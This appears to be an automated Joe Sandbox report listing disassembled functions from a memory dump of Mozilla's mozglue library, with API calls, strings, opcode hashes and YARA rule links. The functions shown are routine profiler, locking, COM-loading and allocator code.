API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 9cf171649448f5174e4915b7e48af03ec502d876fbc5bccb721a51351c637d6a
Instruction ID: 8cae395d9bdf7ee78a0f60c3e96afba49fb90df0695c84e6227656c3dbc18ba7
Opcode Fuzzy Hash: 9cf171649448f5174e4915b7e48af03ec502d876fbc5bccb721a51351c637d6a
Instruction Fuzzy Hash: 194166B5200704DFCB14DF69D888B56BBF9FB89314F11442EE9AA87B41CB71E814CB96

Function 6C5B84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B85AC

Part of subcall function 6C5B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B767F
Part of subcall function 6C5B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B7693
Part of subcall function 6C5B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5B85B2

Part of subcall function 6C595E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C595EDB
Part of subcall function 6C595E90: memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C595F27
Part of subcall function 6C595E90: LeaveCriticalSection.KERNEL32(?), ref: 6C595FB2

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f524d6b046b7b36c1e7c029850504a68cc5365e897574181b24b02bbfcfccd63
Instruction ID: 019b5481c9607b3fddde95b1776a32eb715de09a67b05d544f7a57e5d1d4cdcd
Opcode Fuzzy Hash: f524d6b046b7b36c1e7c029850504a68cc5365e897574181b24b02bbfcfccd63
Instruction Fuzzy Hash: F2219F742016029FDB14DF24DC98A5ABBB9AF8430CF24082DE55BD3B82DB31F949CB56

Function 6C581640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C581699
VerSetConditionMask.NTDLL ref: 6C5816CB
VerSetConditionMask.NTDLL ref: 6C5816D7
VerSetConditionMask.NTDLL ref: 6C5816DE
VerSetConditionMask.NTDLL ref: 6C5816E5
VerSetConditionMask.NTDLL ref: 6C5816EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5816F9

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 4bf3f100848a60f80713fe9032cbb70a9d3ba830a95e92ba4c8ed98eec926f88
Instruction ID: 360f66d0791996335224d36c1181a1870c934288a0904d3e3e0e156275ba2b25
Opcode Fuzzy Hash: 4bf3f100848a60f80713fe9032cbb70a9d3ba830a95e92ba4c8ed98eec926f88
Instruction Fuzzy Hash: 9221F0B0740208ABEB146A659C85FBBB2BCEFC6704F054628F6559B580D6789D44CBA1

Function 6C5BF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5BF598), ref: 6C5BF621

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

GetCurrentThreadId.KERNEL32 ref: 6C5BF637
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8,?,?,00000000,?,6C5BF598), ref: 6C5BF645
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8,?,?,00000000,?,6C5BF598), ref: 6C5BF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5BF62A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 04d6dbe074cc0a55f49a1b6a6a19069a97dfb014827dd2585d55fbdfffc94d15
Instruction ID: dd8d7b8f0e7b48ed30cc575e93115eff96d30fecaea96532cafd17ed98ee79ed
Opcode Fuzzy Hash: 04d6dbe074cc0a55f49a1b6a6a19069a97dfb014827dd2585d55fbdfffc94d15
Instruction Fuzzy Hash: BA11E779201205EBDB08AF58ED58995BBB9FFC6358B110115EA15D3F41CB32AC22CFA9

Function 6C582070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

LoadLibraryW.KERNEL32(combase.dll,6C581C5F), ref: 6C5820AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5820CD
__Init_thread_footer.LIBCMT ref: 6C5820E1
FreeLibrary.KERNEL32 ref: 6C582124

Strings

CoInitializeSecurity, xrefs: 6C5820C7
combase.dll, xrefs: 6C5820A9

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: ed6c59826d54e528c61335afb7655b1f95b57458937a07ffb1fb6ad6433ba504
Instruction ID: db9ba3e2ddb8b6ceb4faad5dc439e3c60934243514a823cb4cfe590191b42f61
Opcode Fuzzy Hash: ed6c59826d54e528c61335afb7655b1f95b57458937a07ffb1fb6ad6433ba504
Instruction Fuzzy Hash: A721AC76201209EFDF0ADF95EC48D9A3FB6FB4A364F114214FA20D2A11D7329862CF65

Function 6C5D76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5D76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C5D7705

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5D7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C5D778F,00000000,00000000,00000000,00000000), ref: 6C5D7731
free.MOZGLUE(00000000), ref: 6C5D7760

Strings

}>[l, xrefs: 6C5D76C4

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>[l
API String ID: 2538299546-2343552555
Opcode ID: e1eb3b547bd24dad08370895e8e5891ea72fe6dbfccd608126686305be81bb6e
Instruction ID: ff1bbaa76c8bb7d6f7a86d3c2296921dff82e6b70f82b57b0262d8320403a9b7
Opcode Fuzzy Hash: e1eb3b547bd24dad08370895e8e5891ea72fe6dbfccd608126686305be81bb6e
Instruction Fuzzy Hash: 5A11B6B1901315ABEB10AF799C44B6B7EE8EF45354F05492AF848D7300E7719C408BE2

Function 6C581FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C581FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C581FFD
__Init_thread_footer.LIBCMT ref: 6C582011
FreeLibrary.KERNEL32 ref: 6C582059

Strings

CoCreateInstance, xrefs: 6C581FF7
combase.dll, xrefs: 6C581FD9

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 1d995a8b3469625d47e3da7e8a679c201f3c02053887c7659db59234ac2b5c36
Instruction ID: 80695f91c52c32729ce95a0a303d37b34725ca542cfad5deec8874bce1e70697
Opcode Fuzzy Hash: 1d995a8b3469625d47e3da7e8a679c201f3c02053887c7659db59234ac2b5c36
Instruction Fuzzy Hash: 35117CB4201204EFEF29DF55EC9CE5A3FB9EB86359F014129EE25D2A41D7319801CF65

Function 6C580EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5AD9F0,00000000), ref: 6C580F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C580F3C
__Init_thread_footer.LIBCMT ref: 6C580F50
FreeLibrary.KERNEL32(?,6C5AD9F0,00000000), ref: 6C580F86

Strings

CoInitializeEx, xrefs: 6C580F36
combase.dll, xrefs: 6C580F18

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: b0e5271f8bb676b01d7d98e3a2b90456e6a92967417755c2f0ed8c573195193d
Instruction ID: b037ab0a238a2c5f7da3b6540ef351934b34a7c8a9ab4e4765da8a1d631c1134
Opcode Fuzzy Hash: b0e5271f8bb676b01d7d98e3a2b90456e6a92967417755c2f0ed8c573195193d
Instruction Fuzzy Hash: 30119E74206250DBDF09DF59ED48A4E37F5EB8A325F01832AE925D6F42D730A405CE5D

Function 6C5BF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF561

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

GetCurrentThreadId.KERNEL32 ref: 6C5BF577
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF585
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5BF56A
[I %d/%d] profiler_resume, xrefs: 6C5BF239
[I %d/%d] profiler_resume_sampling, xrefs: 6C5BF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C5BF3A8

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: eef6227aa83c972d9b66b90bb9de34c915e8a4ac0a60611f50a3c572fd97e611
Instruction ID: 183d3d1e0b00f20f85c523adca4788bea6ef86e828b1005d274071741cbba708
Opcode Fuzzy Hash: eef6227aa83c972d9b66b90bb9de34c915e8a4ac0a60611f50a3c572fd97e611
Instruction Fuzzy Hash: BDF09079200204DBEA046F64AC58A5ABBBDEB8625DF020111EB25D3B02DB354C01CF69

Function 6C580E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C580DF8), ref: 6C580E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C580EA1
__Init_thread_footer.LIBCMT ref: 6C580EB5
FreeLibrary.KERNEL32 ref: 6C580EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C580E9B
kernel32.dll, xrefs: 6C580E7D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: bc107d21be6f9cb64e6e625d462c698d9c87736e8f2cbc7b2a0fe3ca0ff407a7
Instruction ID: 937fcec969bbf811ef7e846f57b7b034f6ee71434eccbc1cf16c1fc80b6f5add
Opcode Fuzzy Hash: bc107d21be6f9cb64e6e625d462c698d9c87736e8f2cbc7b2a0fe3ca0ff407a7
Instruction Fuzzy Hash: 0F012870703291CBEA08AFE9ED54A46B7F5E786314F1A06269931D2F40DB74A409CEA9

Function 6C5BF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5BF598), ref: 6C5BF621

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

GetCurrentThreadId.KERNEL32 ref: 6C5BF637
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8,?,?,00000000,?,6C5BF598), ref: 6C5BF645
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8,?,?,00000000,?,6C5BF598), ref: 6C5BF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5BF62A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 592c85fe038f0b1d4c24278d5fbaf17dc4af2ac4a7cfaba047bbc6a234470bab
Instruction ID: 11fbe3086d58824aa05a59d68c6e5b70e13a7318dc0ea454499c9d97981a28a8
Opcode Fuzzy Hash: 592c85fe038f0b1d4c24278d5fbaf17dc4af2ac4a7cfaba047bbc6a234470bab
Instruction Fuzzy Hash: B0F09079200204EBEA086F68AC48A5ABBBDEBC625DF020111EA65D3B01CB364C01CF69

Function 6C5B05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5ACFAE,?,?,?,6C5731A7), ref: 6C5B05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5ACFAE,?,?,?,6C5731A7), ref: 6C5B0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5731A7), ref: 6C5B061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5731A7), ref: 6C5B0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5B061B, 6C5B0625
<jemalloc>, xrefs: 6C5B05FA, 6C5B060F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: f0d5d747cf9caf7cb4a75a2766d8e2b838964d11030ffbb7b3605209a1578a8c
Instruction ID: cda5c1ca7e7eaa073bfd1a86d696bb182e6f694802d2c4e5a0f56e1c2430b021
Opcode Fuzzy Hash: f0d5d747cf9caf7cb4a75a2766d8e2b838964d11030ffbb7b3605209a1578a8c
Instruction Fuzzy Hash: 72E08CE2A0101037F514225ABC86DBB7A1CDBCA134F08003AFD0D82301EA4AFD1A55F6

Function 6C5805F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4c91a36d66cfcc6f03e64ac5bf5c8781ae3f854d54ea0f7d906db0812d69c1
Instruction ID: bb9f4e92ea35916a4b2208194785817c2039467f7dadc9312c748c079b805e40
Opcode Fuzzy Hash: ee4c91a36d66cfcc6f03e64ac5bf5c8781ae3f854d54ea0f7d906db0812d69c1
Instruction Fuzzy Hash: 36A14A70A02655CFDB14CF29C994A9EFBF1BF89304F54866ED45A97B00E730A985CF90

Function 6C5D14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5D14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5D14E2
GetCurrentThreadId.KERNEL32 ref: 6C5D1546
InitializeConditionVariable.KERNEL32(?), ref: 6C5D15BA
free.MOZGLUE(?), ref: 6C5D16B4

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 412aef2c8c8b9283f62cc7a66915be759af60f7c037c7c0ce8ea3f3fc185ddcb
Instruction ID: fe26f3c9d9c864eb1d4576df66d6a0bc40e3d87f5639416506f75dbe45d3ea5c
Opcode Fuzzy Hash: 412aef2c8c8b9283f62cc7a66915be759af60f7c037c7c0ce8ea3f3fc185ddcb
Instruction Fuzzy Hash: CB61ED71A00740DBDB118F25CC80BDEB7B4BF89318F45851CE98A67601DB35E989CB96

Function 6C5C9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5C9FDB
free.MOZGLUE(?,?), ref: 6C5C9FF0
free.MOZGLUE(?,?), ref: 6C5CA006
